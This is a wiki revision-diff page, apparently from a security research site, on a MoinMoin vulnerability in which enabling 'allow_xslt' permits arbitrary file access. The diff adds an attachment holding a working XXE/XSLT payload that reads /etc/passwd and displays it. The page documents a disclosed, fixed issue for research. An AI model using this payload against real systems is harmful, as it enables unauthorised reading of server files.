Changes for page Application_MoinMoin

Last modified by Nicolas Gregoire on 2012/01/29 17:56
From version 1.1 Icon
edited by Nicolas Gregoire
on 2012/01/24 21:10
Change comment: There is no comment for this version
To version Icon 3.1 Icon
edited by Nicolas Gregoire
on 2012/01/24 22:08
Change comment: Upload new attachment XsltReadFile

Summary

Details

Icon Page properties
Content
... ... @@ -1,5 +1,6 @@
1 -By default, the 'allow_xslt' configuration option is set to False. if this option is set to True, then "read/write/overwrite arbitrary path/file as the moin process uid/gidarbitrary" is possible. This is by inserting then displaying wiki pages containing XSLT code.
1 +By default, the 'allow_xslt' configuration option is set to False. if this option is set to True, then "read/write/overwrite arbitrary path/file as the moin process uid/gidarbitrary" is possible. This is triggered by inserting then displaying wiki pages containing XSLT code.
2 2  
3 +
3 3  This was documented in version 1.9.3 :
4 4  http://moinmo.in/SecurityFixes
5 5  http://hg.moinmo.in/moin/1.9/rev/99e2309a7ec0
Icon XsltReadFile
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,0 +1,1 @@
1 +313 bytes
Content
... ... @@ -1,0 +1,12 @@
1 +<?xml version="1.0"?>
2 +<!DOCTYPE doc [
3 +<!ENTITY xee SYSTEM "file:///etc/passwd">
4 +]>
5 +<?xml-stylesheet href="XsltReadFile" type="text/xml"?>
6 +<xsl:stylesheet version="1.0"
7 +xmlns:xsl="http://www.w3.org/1999/XSL/Transform" >
8 + <xsl:template match="/">
9 + File content : [&xee;]
10 + </xsl:template>
11 +</xsl:stylesheet>
12 +